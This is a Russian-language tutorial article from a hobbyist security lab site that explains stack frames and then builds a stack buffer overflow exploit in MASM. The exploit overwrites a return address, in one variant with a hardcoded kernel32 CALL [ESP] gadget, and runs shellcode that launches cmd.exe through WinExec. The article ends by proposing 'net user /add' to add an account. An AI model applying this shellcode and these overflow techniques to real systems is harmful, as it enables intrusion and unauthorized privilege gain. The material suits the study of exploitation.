| Welcome to The Passion Of Code Laboratory!!! | Статьи |
Атаки на переполнение. |
| #include <stdio.h> #include <string.h> int main () { printf("Hello World !!"); return 0; } |
… откройте теперь Project > Settings > C\C++ > …

Войдите теперь, а папку Debug\ и найдемте файл с именем (project_name).asm. Так можно получать asm - код своего С - исходника. Рассмотрим типичные куски кода, которые нам необходимо основательно разобрать.
| ... _main PROC NEAR ; COMDAT ; 15 : { push ebp mov ebp, esp sub esp, 64 ; 00000040H push ebx push esi push edi lea edi, DWORD PTR [ebp-64] mov ecx, 16 ; 00000010H mov eax, -858993460 ; ccccccccH rep stosd ; 16 : printf("Hello World !!"); push OFFSET FLAT:??_C@_0P@HPMM@Hello?5World?5?$CB?$CB?$AA@ ; `string' call _printf add esp, 4 ; 17 : return 0; xor eax, eax ; 18 : } pop edi pop esi pop ebx add esp, 64 ; 00000040H cmp ebp, esp call __chkesp mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS END |
Из распечатки к рис. 1.3 видны такие участки:
Перед началом выполнения функции _main() выполняется процедура так называемого “ Пролога” это стандартная последовательность входа в подпрограмму и ее можно просто запомнить выучить наизусть.
| push ebp ; Сохраним в стеке EBP. Через EBP адресуются локальные переменные mov ebp, esp ; В EBP передается значение ESP sub esp, 64 ; Резервируется так называемы “кадр стека” для хранения локальных переменных |
2)
Перед выходом из процедуры проходит процедура под названием “Эпилог” - это так же стандартная процедура.
| mov esp, ebp ; Стереть все из стека восстановить его первоначальное состояние pop ebp ; Восстановить значение EBP ret 0 ; Выход в точку вызова |
Понятия эпилога и пролога нам необходимо усвоить , так как это стандартные понятия, они встречаются очень часто. Например, если Вы вдруг начнете дизассемблировать программу, Вы обязательно встретитесь с этими “обвертками” функций программы. Более того разобрав их внимательно мы научимся понимать работу стека, без чего нам не продвинуться в освоении выбранной темы.
Давайте рассмотрим работу следующей программы:
| .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\masm32.inc includelib \masm32\lib\masm32.lib ;--------------------------------------------- _strspy PROTO :PTR BYTE ;--------------------------------------------- .data source db '1111111111111111111111111111111',; 33 - символа monMsg1 db "Destination = ",0 crlf db 13, 10, 0 ;---------------------------------------------- .code start: invoke _strspy , offset source invoke ExitProcess, 0 ;---------------------------------------------- _strspy proc uses esi edi, src:PTR BYTE LOCAL lBuffer[10]:BYTE mov esi, src lea edi, lBuffer cld wh: lodsb stosb test al, al jne wh ret _strspy endp ;---------------------------------------------- end start |
При запуске получаем сообщение об ошибке:
Рис. 1.

Что произойдет, если строка source превысит по размеру 10 байт? Произойдет переполнение стека, которое сопровождается сообщением о критической ошибке.
Обратите внимание на знакомые куски кода, на Пролог и Эпилог, которые законно присутствуют при просмотре кода в отладчике.
Рис. 2.

Рассмотрим, как ведет себя стек после выполнения кода Пролога и Эпилога.
Рис.3.

Итак, если в переполняющей ( той, которая из 33 - символов) строке будет содержаться адрес есть возможность передать на него управление программы. Ну ведь можжем ведь мы в эту строку поместить адрес возврата? Давайте приступим к разбору кода, который реализует переполнение.На выходе должны получить окно программы cmd.exe.


| ; _getCmdLine.asm ; Программа реализует переполнение стека ; с последующим выполнением кода вызова cmd.exe ; ; Использование : _getCmdLine.exe < полный путь к файлу cmd(command).exe(com)> ; .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\masm32.inc includelib \masm32\lib\masm32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib .data ;****************************************************************************************** _shell_code db '1111222233' _new_EIP dd $ + 10 + 4; адресс в програме строки ниже, посмотрел в дебагере ; строка чисто чтобы организовать переполнение размера db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h push 5 ; push SW_SHOW mov EAX, offset clBuffer push EAX db 0B8h ; mov EAX, некий адрес _WinExec DD ? ; тут положим адресс WinExec() CALL EAX PUSH 0 db 0B8h ; mov EAX, некий адрес _ExitProcess DD ? ; тут положим адресс ExitProcess() CALL EAX len_ EQU $ - _shell_code ;****************************************************************************************** _Kernel32 DD ? szKernel32 DB 'kernel32.dll',0 szExitProcess DB 'ExitProcess',0 szWinExec DB 'WinExec',0 clBuffer DB ? cyrBuffer DB ? szError1 DB ' Использование : _getCmdLine.exe <путь к файлу cmd(command).exe(com)>',0 lf db 13,10 ;---------------------------------------------- .code start: invoke LoadLibrary,ADDR szKernel32 mov _Kernel32,EAX invoke GetProcAddress, EAX,ADDR szExitProcess mov _ExitProcess,EAX invoke GetProcAddress, _Kernel32,ADDR szWinExec mov _WinExec,EAX invoke GetCL,1,ADDR clBuffer ; возьмем первый аргумент командной строки .if eax == 1 ; если есть аргумент то ... call _strcpy .else ; иначе вывод сообщения о привилах использования invoke CharToOem, ADDR szError1,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf invoke StdOut,ADDR lf .endif ;push 0 ;call ExitProcess ;---------------------------------------------- _strcpy: PUSH EBP MOV EBP,ESP ADD ESP,0Ah LEA ESI,_shell_code LEA EDI,DWORD PTR SS:[EBP-0Ah] XOR ECX,ECX MOV CL,len_ CLD wh: LODS BYTE PTR DS:[ESI] STOS BYTE PTR ES:[EDI] LOOPD wh mov ESP,EBP RET ;---------------------------------------------- end start |
1)
| _shell_code db '1111222233' _new_EIP dd $+10+4 ; адресс в програме строки ниже, посмотрел в дебагере |
Рассматривая текст мы видим что часть кода пишется в области .data. Что это такое возможно спросите Вы? Это как раз и есть та строка, которую мы планируем передать в качестве “вызывающей shell код”. Эту строку, расположенную в таком необычном месте мы можем успешно редактировать, пополнять нужными нам адресами и передавать куда удобно. Вот Вам и первое преимущество MASM-а :)
Рассматривая рис.3. и в нем строку (3) мы видим, что в случае нормальной работы после последней (и законной) 3 в строке _shell_code должен стоять адрес возврата из процедуры _strcpy(). В статьях ([1.2] [1.3]), в этом месте ищут сигнатуру CALL [ESP] , мы сделаем проще ( хотя потом мы и вернемся к этому пути). Укажем адресом возврата, начало нашей же строки в памяти, нашей же программы. Как найти этот адрес?
Далее воспользуемся OllyDebug. Загрузим нашу программу в его среду. В нижнем левом углу мы видим окно сегмента данных нашей программы.
Рис.4.

Так вот где все наши тройки. Посмотрим адрес строки переполнения, он равен 0x00403000. Определим новую точку выхода из процедуры_strcpy().
| 0x00403000 + 10 byte ( строка _shell_code db '1111222233') + 4 byte ( сам адрес того куда мы должны попасть) ________________________________________ = 0x0040300E |
2)
Но все-таки вернемся к “первоисточникам ”. В статьях ([1.2] [1.3]) вносится предложение, вместо того чтобы направлять управление на начало строки _shell_code, передать его на комманду CALL [ESP] ( или JMP [ESP]), код которой имеет вид 0xFF 0xD4 ( 0xFF 0xE4 ). Можем ли это сделать мы?
Можем. Для этого откроем программу WinHex 11.5, и далее
Рис.5.

Рис.6.

Мы выбираем адресное пространство kernel32.dll и начинаем в нем искать последовательность 0xFF 0xD4 ( 0xFF 0xE4 ). Эта библиотека практически всегда подгружается любой программой в свое адресное пространство. Хотя есть библиотека NTDLL.DLL которая подгружается в контексте любого процесса автоматически, поэтому законней было бы использовать именно NTDLL.DLL, но не будем отвлекаться на вопросы одного щелчка мыши. Начнем наш поиск …
Рис.7.

Рис.8.

Рис.9.

Вообще говоря, этот адрес может смениться и в этом основная проблема этого метода. У меня установлена Win2000 SP4, и он оказался таким. Вы перепроверьте его у себя сами, но вероятно если у Вас та же конфигурация то он совпадет.
Итак адрес CALL [ESP] найден. Изменим, код в программе, это будет не сложно:
| ... .data ;*************************************************************** _shell_code db '1111222233' _new_EIP db 0EAh,22h,0E8h,77h ;0X77E822EA db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ... |
Соберите проект и посмотрите на результат…
Благодаря этому, нечаянному, отступлению мы видим, что не во всех случаях стоит сразу ставить на свою машину Soft Ice. Хотя, безусловно, эта программа заслуживает всякой похвалы.
3)
| push 5 ; push SW_SHOW mov EAX, offset _szCMD push EAX db 0B8h ; mov EAX, некий адрес _WinExec DD ? ; тут положим адресс WinExec() CALL EAX |
Будем использовать такой подход: сначала поместим в стек все входящие переменные для вызываемой функции, далее в EAX поместим адрес функции и передадим управление на EAX.
| mov EAX, адрес функции ; 0x0B8 0xАдрес CALL EAX |
В основной программе мы определим все необходимые адреса и впишем их в наш shell.
В качестве справочной информации напомним:
| WinExec( LPCSTR lpCmdLine, // указатель командной строки UINT uCmdShow // атрибуты выводимого окна ); |
Но как проверить правильные ли адреса попадают в строку с адресом _WinExec?
Ну, наверное, полезно просто знать, что там должно быть. Напишем, по ходу разбирательства утилиту получения адреса API по библиотеке и имени.
| Пример использования: _GetApiAddr.exe <dll_name.dll> <api_name> _GetApiAddr.exe kernel32.dll ExitProcess Адрес загрузки kernel32.dll : 0x79430000 Адрес загрузки ExitProcess() : 0x79440E7D // _getApiAddr.cpp : // #include <windows.h> #include <wchar.h> int main(int argc, char* argv[]) { char MsgBuf[1024]; CharToOem(" покажет адрес API функции, экспортируемой указанной DLL.", MsgBuf); printf("\n\t%s %s\n",argv[0],MsgBuf); if(argc < 2) { CharToOem("Пример использования:", MsgBuf); printf("\n\t\t%s %s <dll_name.dll> <api_name>\n\n ",MsgBuf,argv[0]); return 1; } HMODULE hDll=LoadLibrary(argv[1]); |
Зная , что по праву, должно находиться по адресу _WinExec: мы уверенней себя чувствуем.
Выполним:
| _getApiAddr.exe kernel32.dll WinExec Адрес загрузки kernel32.dll : 0x79430000 Адрес загрузки WinExec() : 0x7944403F |
Зная какой адрес мы должны получить проверим нашу строку.
Рис.10.

Ну все в порядке, все совпало. А благодаря этому отступлению мы получили, мало-мало полезную, утилитку _getApiAddr.exe.
4)
| PUSH EBP MOV EBP,ESP ADD ESP,0Ah LEA ESI,_shell_code LEA EDI,DWORD PTR SS:[EBP-0Ah] XOR ECX,ECX MOV CL,len_ CLD wh: LODS BYTE PTR DS:[ESI] STOS BYTE PTR ES:[EDI] LOOPD wh mov ESP,EBP RET |
Сохранили адрес ESP чтоб не потерять стек.
Сразу организовывается, так называемый, стековый кадр в 10 байт для строки, которая длиной в 33 байта ;). В этом кроме всего прочего и заключается задача Эпилога. Вы заметили, конечно, несоответствие 10 байт и 33?
Ну и, собственно, начинаем писать в выделенный нами стековый кадр строку по метке _shell_code.
Что хорошо в OllyDebug, так это то, что я могу на строке mov ESP,EBP поставить прерывание просто нажав на ней F2. Однако многие предпочитают вставлять команду - int 3.
Остановившись на команде mov ESP,EBP мы оказались перед выходом из процедуры _strcpy(). Вместо адреса возврата стоит адрес начала программки вызова cmd.exe. Управление передается на область данных, где и выполняется сам вызов.
Рис.11.

Также я, в процессе выполнения программы, имею возможность подменить команду на лету и посмотреть ее шестнадцатеричный код.
Рис.12.

А хотите ли чтобы исполнился код попавший в стек прямо в стеке? Мохно и так , изменим нашу строку …
| source db '1111222233' db 1Fh,30h,40h,00h ; 7944E1BB \xC5\xAF\xE2\x77 \x4C\x44\xE1\x77 mov EBP,ESP db 90h db 90h db 90h db 90h db 90h db 90h db 90h MOV EAX, ESP CALL EAX |
Вы конечно обратили внимание на выделенную строку, вот она и передаст управление на данные в стеке. Но программа, конечно, не отработает нормально, но в качестве подопытной для OllyDebug - в самый раз.
Итак что мы получили? Видим, что передавая, в качестве входного параметра, строку мы можем спровоцировать выполнение программы. Эдакое “волшебное слово” для уязвимой программы заставит ее послужить нам некую службу. Волшебным словом для нашей несчастной _getCmdLine.exe есть слово из символов строки _shell_code. Вы почувствовали силу. :))
Что с этим делать дальше с этой консолью? Вызовем ее, и …
C:\>net user /add
… добавим себя как пользователя.
Что? Вызов net user не дал ожидаемого результата!? Нас обманули!?
Так подумал и я когда проделал всю эту работу. Но не расстраивайтесь. Мы получим свои права, обязательно. Для этого просто придется кое что узнать еще.
Перечень используемой литературы.
[1.1] Андрей Колищак. Атаки на переполнение буфера (http://www.security.nnov.ru/articles/bo.asp)
[1.2] Андрей Колищак. Атаки на переполнение стека в Windows NT (http://www.security.nnov.ru/articles/ntbo.asp)
[1.3] Переполнение буфера Константин Третьяков (kt_ee@hotmail.com)
Перечень используемого программного обеспечения.
[2.1] OllyDbg 1.09d by Oleh Yuschuk ( http://www.wasm.ru )
[2.2] - WinHex 10.0 SR-7 (http://www.winhex.com/)
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |